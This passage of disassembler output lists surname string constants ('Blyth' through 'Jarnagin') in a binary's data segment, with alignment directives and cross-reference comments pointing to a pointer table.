aBlyth db 'Blyth',0 ; DATA XREF: seg002:0043FD3Co
align 4
aBolger db 'Bolger',0 ; DATA XREF: seg002:0043FD40o
align 10h
aBolick db 'Bolick',0 ; DATA XREF: seg002:0043FD44o
align 4
aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0043FD48o
align 4
aBologna db 'Bologna',0 ; DATA XREF: seg002:0043FD4Co
aBoner db 'Boner',0 ; DATA XREF: seg002:0043FD50o
align 4
aBonham db 'Bonham',0 ; DATA XREF: seg002:0043FD54o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: seg002:0043FD58o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0043FD5Co
align 4
aBook db 'Book',0 ; DATA XREF: seg002:0043FD60o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0043FD64o
align 4
aBoone db 'Boone',0 ; DATA XREF: seg002:0043FD68o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0043FD6Co
align 4
aBorack db 'Borack',0 ; DATA XREF: seg002:0043FD70o
align 4
aBorden db 'Borden',0 ; DATA XREF: seg002:0043FD74o
align 4
aBossi db 'Bossi',0 ; DATA XREF: seg002:0043FD78o
align 4
aBothman db 'Bothman',0 ; DATA XREF: seg002:0043FD7Co
aBotosh db 'Botosh',0 ; DATA XREF: seg002:0043FD80o
align 4
aBoudin db 'Boudin',0 ; DATA XREF: seg002:0043FD84o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0043FD88o
aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0043FD8Co
align 10h
aBowers db 'Bowers',0 ; DATA XREF: seg002:0043FD90o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: seg002:0043FD94o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0043FD98o
align 4
aBoyes db 'Boyes',0 ; DATA XREF: seg002:0043FD9Co
align 4
aBoyland db 'Boyland',0 ; DATA XREF: seg002:0043FDA0o
aBoym db 'Boym',0 ; DATA XREF: seg002:0043FDA4o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: seg002:0043FDA8o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0043FDACo
align 4
aBradac db 'Bradac',0 ; DATA XREF: seg002:0043FDB0o
align 10h
aBradach db 'Bradach',0 ; DATA XREF: seg002:0043FDB4o
aBrecht db 'Brecht',0 ; DATA XREF: seg002:0043FDB8o
align 10h
aBreed db 'Breed',0 ; DATA XREF: seg002:0043FDBCo
align 4
aBrenan db 'Brenan',0 ; DATA XREF: seg002:0043FDC0o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: seg002:0043FDC4o
aBrewer db 'Brewer',0 ; DATA XREF: seg002:0043FDC8o
align 10h
aBrewer_0 db 'Brewer',0 ; DATA XREF: seg002:0043FDCCo
align 4
aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0043FDD0o
align 4
aBridges db 'Bridges',0 ; DATA XREF: seg002:0043FDD4o
aBrinton db 'Brinton',0 ; DATA XREF: seg002:0043FDD8o
aBritz db 'Britz',0 ; DATA XREF: seg002:0043FDDCo
align 4
aBroca db 'Broca',0 ; DATA XREF: seg002:0043FDE0o
align 4
aBrook db 'Brook',0 ; DATA XREF: seg002:0043FDE4o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0043FDE8o
aBuchan db 'Buchan',0 ; DATA XREF: seg002:0043FDECo
align 4
aBudding db 'Budding',0 ; DATA XREF: seg002:0043FDF0o
aBullard db 'Bullard',0 ; DATA XREF: seg002:0043FDF4o
aBunton db 'Bunton',0 ; DATA XREF: seg002:0043FDF8o
align 4
aBurden db 'Burden',0 ; DATA XREF: seg002:0043FDFCo
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0043FE00o
align 4
aBurke db 'Burke',0 ; DATA XREF: seg002:0043FE04o
align 4
aBurridge db 'Burridge',0 ; DATA XREF: seg002:0043FE08o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: seg002:0043FE0Co
aByatt db 'Byatt',0 ; DATA XREF: seg002:0043FE10o
align 4
aByerly db 'Byerly',0 ; DATA XREF: seg002:0043FE14o
align 10h
aByrd db 'Byrd',0 ; DATA XREF: seg002:0043FE18o
align 4
aCage db 'Cage',0 ; DATA XREF: seg002:0043FE1Co
align 10h
aCalnan db 'Calnan',0 ; DATA XREF: seg002:0043FE20o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0043FE24o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0043FE28o
align 10h
aCanley db 'Canley',0 ; DATA XREF: seg002:0043FE2Co
align 4
aCapanni db 'Capanni',0 ; DATA XREF: seg002:0043FE30o
aCaperton db 'Caperton',0 ; DATA XREF: seg002:0043FE34o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0043FE38o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0043FE3Co
align 4
aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0043FE40o
align 10h
aCapursi db 'Capursi',0 ; DATA XREF: seg002:0043FE44o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0043FE48o
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0043FE4Co
aCarlin db 'Carlin',0 ; DATA XREF: seg002:0043FE50o
align 4
aCarlos db 'Carlos',0 ; DATA XREF: seg002:0043FE54o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0043FE58o
aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0043FE5Co
align 4
aCaroti db 'Caroti',0 ; DATA XREF: seg002:0043FE60o
align 10h
aCarper db 'Carper',0 ; DATA XREF: seg002:0043FE64o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: seg002:0043FE68o
align 4
aCascio db 'Cascio',0 ; DATA XREF: seg002:0043FE6Co
align 4
aCase db 'Case',0 ; DATA XREF: seg002:0043FE70o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: seg002:0043FE74o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: seg002:0043FE78o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0043FE7Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: seg002:0043FE80o
align 4
aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0043FE84o
align 4
aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0043FE88o
aChapman db 'Chapman',0 ; DATA XREF: seg002:0043FE8Co
aCharles db 'Charles',0 ; DATA XREF: seg002:0043FE90o
aCheang db 'Cheang',0 ; DATA XREF: seg002:0043FE94o
align 4
aCherry db 'Cherry',0 ; DATA XREF: seg002:0043FE98o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0043FE9Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0043FEA0o
align 4
aChien db 'Chien',0 ; DATA XREF: seg002:0043FEA4o
align 10h
aChildress db 'Childress',0 ; DATA XREF: seg002:0043FEA8o
align 4
aChilds db 'Childs',0 ; DATA XREF: seg002:0043FEACo
align 4
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0043FEB0o
aChinman db 'Chinman',0 ; DATA XREF: seg002:0043FEB4o
aChristenson db 'Christenson',0 ; DATA XREF: seg002:0043FEB8o
aChristian db 'Christian',0 ; DATA XREF: seg002:0043FEBCo
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: seg002:0043FEC0o
align 4
aChristie db 'Christie',0 ; DATA XREF: seg002:0043FEC4o
align 4
aChristopher db 'Christopher',0 ; DATA XREF: seg002:0043FEC8o
aChu db 'Chu',0 ; DATA XREF: seg002:0043FECCo
aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0043FED0o
align 4
aChurch db 'Church',0 ; DATA XREF: seg002:0043FED4o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0043FED8o
align 4
aCicero db 'Cicero',0 ; DATA XREF: seg002:0043FEDCo
align 10h
aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0043FEE0o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: seg002:0043FEE4o
aClancy db 'Clancy',0 ; DATA XREF: seg002:0043FEE8o
align 4
aClark db 'Clark',0 ; DATA XREF: seg002:0043FEECo
align 4
aClement db 'Clement',0 ; DATA XREF: seg002:0043FEF0o
aClifton db 'Clifton',0 ; DATA XREF: seg002:0043FEF4o
aClow db 'Clow',0 ; DATA XREF: seg002:0043FEF8o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0043FEFCo
aCoito db 'Coito',0 ; DATA XREF: seg002:0043FF00o
align 4
aColdren db 'Coldren',0 ; DATA XREF: seg002:0043FF04o
aColella db 'Colella',0 ; DATA XREF: seg002:0043FF08o
aCollard db 'Collard',0 ; DATA XREF: seg002:0043FF0Co
aCollis db 'Collis',0 ; DATA XREF: seg002:0043FF10o
align 4
aCompton db 'Compton',0 ; DATA XREF: seg002:0043FF14o
aCompton_0 db 'Compton',0 ; DATA XREF: seg002:0043FF18o
aComstock db 'Comstock',0 ; DATA XREF: seg002:0043FF1Co
align 4
aConcino db 'Concino',0 ; DATA XREF: seg002:0043FF20o
aCondodina db 'Condodina',0 ; DATA XREF: seg002:0043FF24o
align 4
aConnors db 'Connors',0 ; DATA XREF: seg002:0043FF28o
aCorey db 'Corey',0 ; DATA XREF: seg002:0043FF2Co
align 4
aCornish db 'Cornish',0 ; DATA XREF: seg002:0043FF30o
aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0043FF34o
align 10h
aCounter db 'Counter',0 ; DATA XREF: seg002:0043FF38o
aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0043FF3Co
aCrawford db 'Crawford',0 ; DATA XREF: seg002:0043FF40o
align 4
aCrocker db 'Crocker',0 ; DATA XREF: seg002:0043FF44o
aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0043FF48o
aCroxen db 'Croxen',0 ; DATA XREF: seg002:0043FF4Co
align 4
aCroxton db 'Croxton',0 ; DATA XREF: seg002:0043FF50o
aCui db 'Cui',0 ; DATA XREF: seg002:0043FF54o
aCurrier db 'Currier',0 ; DATA XREF: seg002:0043FF58o
aCutler db 'Cutler',0 ; DATA XREF: seg002:0043FF5Co
align 10h
aCvek db 'Cvek',0 ; DATA XREF: seg002:0043FF60o
align 4
aCyders db 'Cyders',0 ; DATA XREF: seg002:0043FF64o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: seg002:0043FF68o
aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0043FF6Co
align 4
aDaly db 'Daly',0 ; DATA XREF: seg002:0043FF70o
align 4
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0043FF74o
aDanieli db 'Danieli',0 ; DATA XREF: seg002:0043FF78o
aDante db 'Dante',0 ; DATA XREF: seg002:0043FF7Co
align 4
aDapice db 'Dapice',0 ; DATA XREF: seg002:0043FF80o
align 4
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0043FF84o
aDas db 'Das',0 ; DATA XREF: seg002:0043FF88o
aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0043FF8Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0043FF90o
aDavid db 'David',0 ; DATA XREF: seg002:0043FF94o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0043FF98o
aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0043FF9Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0043FFA0o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0043FFA4o
align 4
aDerousse db 'deRousse',0 ; DATA XREF: seg002:0043FFA8o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: seg002:0043FFACo
aDees db 'Dees',0 ; DATA XREF: seg002:0043FFB0o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0043FFB4o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: seg002:0043FFB8o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0043FFBCo
align 4
aDelger db 'Delger',0 ; DATA XREF: seg002:0043FFC0o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0043FFC4o
align 4
aDeming db 'Deming',0 ; DATA XREF: seg002:0043FFC8o
align 4
aDempster db 'Dempster',0 ; DATA XREF: seg002:0043FFCCo
align 10h
aDemusz db 'Demusz',0 ; DATA XREF: seg002:0043FFD0o
align 4
aDenault db 'Denault',0 ; DATA XREF: seg002:0043FFD4o
aDenham db 'Denham',0 ; DATA XREF: seg002:0043FFD8o
align 4
aDenison db 'Denison',0 ; DATA XREF: seg002:0043FFDCo
aDesombre db 'Desombre',0 ; DATA XREF: seg002:0043FFE0o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0043FFE4o
aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0043FFE8o
align 4
aDicks db 'Dicks',0 ; DATA XREF: seg002:0043FFECo
align 4
aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0043FFF0o
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: seg002:0043FFF4o
aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0043FFF8o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0043FFFCo
align 10h
aDionysius db 'Dionysius',0 ; DATA XREF: seg002:00440000o
align 4
aDirksen db 'Dirksen',0 ; DATA XREF: seg002:00440004o
aDockery db 'Dockery',0 ; DATA XREF: seg002:00440008o
aDoherty db 'Doherty',0 ; DATA XREF: seg002:0044000Co
aDonahue db 'Donahue',0 ; DATA XREF: seg002:00440010o
aDonner db 'Donner',0 ; DATA XREF: seg002:00440014o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: seg002:00440018o
align 4
aDore db 'Dore',0 ; DATA XREF: seg002:0044001Co
align 4
aDorf db 'Dorf',0 ; DATA XREF: seg002:00440020o
align 4
aDosi db 'Dosi',0 ; DATA XREF: seg002:00440024o
align 4
aDoty db 'Doty',0 ; DATA XREF: seg002:00440028o
align 4
aDoug db 'Doug',0 ; DATA XREF: seg002:0044002Co
align 4
aDowsland db 'Dowsland',0 ; DATA XREF: seg002:00440030o
align 10h
aDrinker db 'Drinker',0 ; DATA XREF: seg002:00440034o
aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:00440038o
aDuffin db 'Duffin',0 ; DATA XREF: seg002:0044003Co
align 4
aDurrett db 'Durrett',0 ; DATA XREF: seg002:00440040o
aDussault db 'Dussault',0 ; DATA XREF: seg002:00440044o
align 4
aDwyer db 'Dwyer',0 ; DATA XREF: seg002:00440048o
align 4
aEardley db 'Eardley',0 ; DATA XREF: seg002:0044004Co
aEbeling db 'Ebeling',0 ; DATA XREF: seg002:00440050o
aEckel db 'Eckel',0 ; DATA XREF: seg002:00440054o
align 4
aEdley db 'Edley',0 ; DATA XREF: seg002:00440058o
align 4
aEdner db 'Edner',0 ; DATA XREF: seg002:0044005Co
align 4
aEdward db 'Edward',0 ; DATA XREF: seg002:00440060o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:00440064o
aEliasson db 'Eliasson',0 ; DATA XREF: seg002:00440068o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0044006Co
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: seg002:00440070o
align 4
aElvis db 'Elvis',0 ; DATA XREF: seg002:00440074o
align 4
aEncinas db 'Encinas',0 ; DATA XREF: seg002:00440078o
aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0044007Co
aEppling db 'Eppling',0 ; DATA XREF: seg002:00440080o
aErbach db 'Erbach',0 ; DATA XREF: seg002:00440084o
align 4
aErdman db 'Erdman',0 ; DATA XREF: seg002:00440088o
align 4
aErdos db 'Erdos',0 ; DATA XREF: seg002:0044008Co
align 4
aErez db 'Erez',0 ; DATA XREF: seg002:00440090o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:00440094o
align 10h
aEstes db 'Estes',0 ; DATA XREF: seg002:00440098o
align 4
aEtter db 'Etter',0 ; DATA XREF: seg002:0044009Co
align 10h
aEuripides db 'Euripides',0 ; DATA XREF: seg002:004400A0o
align 4
aEverett db 'Everett',0 ; DATA XREF: seg002:004400A4o
aFabbris db 'Fabbris',0 ; DATA XREF: seg002:004400A8o
aFagan db 'Fagan',0 ; DATA XREF: seg002:004400ACo
align 4
aFaioes db 'Faioes',0 ; DATA XREF: seg002:004400B0o
align 4
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:004400B4o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:004400B8o
aFaris db 'Faris',0 ; DATA XREF: seg002:004400BCo
align 4
aFarone db 'Farone',0 ; DATA XREF: seg002:004400C0o
align 4
aFarren db 'Farren',0 ; DATA XREF: seg002:004400C4o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:004400C8o
align 4
aFates db 'Fates',0 ; DATA XREF: seg002:004400CCo
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:004400D0o
align 4
aFejzo db 'Fejzo',0 ; DATA XREF: seg002:004400D4o
align 10h
aFeldman db 'Feldman',0 ; DATA XREF: seg002:004400D8o
aFernald db 'Fernald',0 ; DATA XREF: seg002:004400DCo
aFernandes db 'Fernandes',0 ; DATA XREF: seg002:004400E0o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: seg002:004400E4o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: seg002:004400E8o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: seg002:004400ECo
align 4
aFido db 'Fido',0 ; DATA XREF: seg002:004400F0o
align 4
aField db 'Field',0 ; DATA XREF: seg002:004400F4o
align 4
aFink db 'Fink',0 ; DATA XREF: seg002:004400F8o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:004400FCo
aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:00440100o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: seg002:00440104o
aFisk db 'Fisk',0 ; DATA XREF: seg002:00440108o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0044010Co
aFlier db 'Flier',0 ; DATA XREF: seg002:00440110o
align 10h
aFlores db 'Flores',0 ; DATA XREF: seg002:00440114o
align 4
aFolks db 'Folks',0 ; DATA XREF: seg002:00440118o
align 10h
aForester db 'Forester',0 ; DATA XREF: seg002:0044011Co
align 4
aFortes db 'Fortes',0 ; DATA XREF: seg002:00440120o
align 4
aFortier db 'Fortier',0 ; DATA XREF: seg002:00440124o
aFossey db 'Fossey',0 ; DATA XREF: seg002:00440128o
align 4
aFossi db 'Fossi',0 ; DATA XREF: seg002:0044012Co
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: seg002:00440130o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:00440134o
align 4
aFranz db 'Franz',0 ; DATA XREF: seg002:00440138o
align 10h
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0044013Co
align 10h
aFreid db 'Freid',0 ; DATA XREF: seg002:00440140o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:00440144o
align 4
aFried db 'Fried',0 ; DATA XREF: seg002:00440148o
align 4
aFriedland db 'Friedland',0 ; DATA XREF: seg002:0044014Co
align 4
aFrisken db 'Frisken',0 ; DATA XREF: seg002:00440150o
aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:00440154o
aFryberger db 'Fryberger',0 ; DATA XREF: seg002:00440158o
align 4
aFrye db 'Frye',0 ; DATA XREF: seg002:0044015Co
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:00440160o
align 4
aFuller db 'Fuller',0 ; DATA XREF: seg002:00440164o
align 10h
aFurth db 'Furth',0 ; DATA XREF: seg002:00440168o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0044016Co
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:00440170o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:00440174o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:00440178o
align 4
aGalwey db 'Galwey',0 ; DATA XREF: seg002:0044017Co
align 4
aGambini db 'Gambini',0 ; DATA XREF: seg002:00440180o
aGarfield db 'Garfield',0 ; DATA XREF: seg002:00440184o
align 10h
aGarman db 'Garman',0 ; DATA XREF: seg002:00440188o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: seg002:0044018Co
aGeller db 'Geller',0 ; DATA XREF: seg002:00440190o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: seg002:00440194o
align 4
aGeorgi db 'Georgi',0 ; DATA XREF: seg002:00440198o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0044019Co
aGhorai db 'Ghorai',0 ; DATA XREF: seg002:004401A0o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: seg002:004401A4o
aGibson db 'Gibson',0 ; DATA XREF: seg002:004401A8o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: seg002:004401ACo
aGili db 'Gili',0 ; DATA XREF: seg002:004401B0o
align 4
aGill db 'Gill',0 ; DATA XREF: seg002:004401B4o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: seg002:004401B8o
align 10h
aGist db 'Gist',0 ; DATA XREF: seg002:004401BCo
align 4
aGleason db 'Gleason',0 ; DATA XREF: seg002:004401C0o
aGlegg db 'Glegg',0 ; DATA XREF: seg002:004401C4o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: seg002:004401C8o
aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:004401CCo
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:004401D0o
align 4
aGood db 'Good',0 ; DATA XREF: seg002:004401D4o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:004401D8o
align 4
aGoody db 'Goody',0 ; DATA XREF: seg002:004401DCo
align 4
aGozzi db 'Gozzi',0 ; DATA XREF: seg002:004401E0o
align 4
aGravell db 'Gravell',0 ; DATA XREF: seg002:004401E4o
aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:004401E8o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:004401ECo
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:004401F0o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:004401F4o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: seg002:004401F8o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: seg002:004401FCo
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: seg002:00440200o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:00440204o
align 4
aGunn db 'Gunn',0 ; DATA XREF: seg002:00440208o
align 4
aGuo db 'Guo',0 ; DATA XREF: seg002:0044020Co
aHa db 'Ha',0 ; DATA XREF: seg002:00440210o
align 4
aHaar db 'Haar',0 ; DATA XREF: seg002:00440214o
align 4
aHackman db 'Hackman',0 ; DATA XREF: seg002:00440218o
aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0044021Co
align 4
aHaley db 'Haley',0 ; DATA XREF: seg002:00440220o
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: seg002:00440224o
aHallowell db 'Hallowell',0 ; DATA XREF: seg002:00440228o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: seg002:0044022Co
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:00440230o
align 4
aHamer db 'Hamer',0 ; DATA XREF: seg002:00440234o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: seg002:00440238o
align 10h
aHand db 'Hand',0 ; DATA XREF: seg002:0044023Co
align 4
aHanssen db 'Hanssen',0 ; DATA XREF: seg002:00440240o
aHarding db 'Harding',0 ; DATA XREF: seg002:00440244o
aHargraves db 'Hargraves',0 ; DATA XREF: seg002:00440248o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: seg002:0044024Co
align 4
aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:00440250o
align 4
aHartman db 'Hartman',0 ; DATA XREF: seg002:00440254o
aHartmann db 'Hartmann',0 ; DATA XREF: seg002:00440258o
align 4
aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0044025Co
align 4
aHarwell db 'Harwell',0 ; DATA XREF: seg002:00440260o
aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:00440264o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: seg002:00440268o
align 4
aHayes db 'Hayes',0 ; DATA XREF: seg002:0044026Co
align 4
aHaynes db 'Haynes',0 ; DATA XREF: seg002:00440270o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:00440274o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: seg002:00440278o
align 4
aHeft db 'Heft',0 ; DATA XREF: seg002:0044027Co
align 4
aHeiland db 'Heiland',0 ; DATA XREF: seg002:00440280o
aHellman db 'Hellman',0 ; DATA XREF: seg002:00440284o
aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:00440288o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: seg002:0044028Co
aHemphill db 'Hemphill',0 ; DATA XREF: seg002:00440290o
align 4
aHenery db 'Henery',0 ; DATA XREF: seg002:00440294o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:00440298o
align 4
aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0044029Co
align 4
aHerrera db 'Herrera',0 ; DATA XREF: seg002:004402A0o
aHester db 'Hester',0 ; DATA XREF: seg002:004402A4o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: seg002:004402A8o
aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:004402ACo
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:004402B0o
align 10h
aHind db 'Hind',0 ; DATA XREF: seg002:004402B4o
align 4
aHirst db 'Hirst',0 ; DATA XREF: seg002:004402B8o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:004402BCo
align 4
aHoang db 'Hoang',0 ; DATA XREF: seg002:004402C0o
align 4
aHock db 'Hock',0 ; DATA XREF: seg002:004402C4o
align 4
aHoffer db 'Hoffer',0 ; DATA XREF: seg002:004402C8o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: seg002:004402CCo
aHokanson db 'Hokanson',0 ; DATA XREF: seg002:004402D0o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: seg002:004402D4o
align 10h
aHolmes db 'Holmes',0 ; DATA XREF: seg002:004402D8o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: seg002:004402DCo
aHolter db 'Holter',0 ; DATA XREF: seg002:004402E0o
align 4
aHolway db 'Holway',0 ; DATA XREF: seg002:004402E4o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: seg002:004402E8o
aHooker db 'Hooker',0 ; DATA XREF: seg002:004402ECo
align 10h
aHopkins db 'Hopkins',0 ; DATA XREF: seg002:004402F0o
aHorsley db 'Horsley',0 ; DATA XREF: seg002:004402F4o
aHoshida db 'Hoshida',0 ; DATA XREF: seg002:004402F8o
aHostage db 'Hostage',0 ; DATA XREF: seg002:004402FCo
aHottle db 'Hottle',0 ; DATA XREF: seg002:00440300o
align 4
aHoward db 'Howard',0 ; DATA XREF: seg002:00440304o
align 10h
aHoy db 'Hoy',0 ; DATA XREF: seg002:00440308o
aHuey db 'Huey',0 ; DATA XREF: seg002:0044030Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:00440310o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: seg002:00440314o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: seg002:00440318o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: seg002:0044031Co
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:00440320o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: seg002:00440324o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: seg002:00440328o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0044032Co
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:00440330o
align 10h
aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:00440334o
align 4
aInamura db 'Inamura',0 ; DATA XREF: seg002:00440338o
aInniss db 'Inniss',0 ; DATA XREF: seg002:0044033Co
align 4
aIsaac db 'Isaac',0 ; DATA XREF: seg002:00440340o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:00440344o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: seg002:00440348o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: seg002:0044034Co
align 4
aIyer db 'Iyer',0 ; DATA XREF: seg002:00440350o
align 4
aJacenko db 'Jacenko',0 ; DATA XREF: seg002:00440354o
aJackson db 'Jackson',0 ; DATA XREF: seg002:00440358o
aJagers db 'Jagers',0 ; DATA XREF: seg002:0044035Co
align 4
aJagger db 'Jagger',0 ; DATA XREF: seg002:00440360o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: seg002:00440364o
align 4
aJain db 'Jain',0 ; DATA XREF: seg002:00440368o
align 4
aJamil db 'Jamil',0 ; DATA XREF: seg002:0044036Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:00440370o
align 10h
aJarnagin db 'Jarnagin',0 ; DATA XREF: seg002:00440374o
align 4
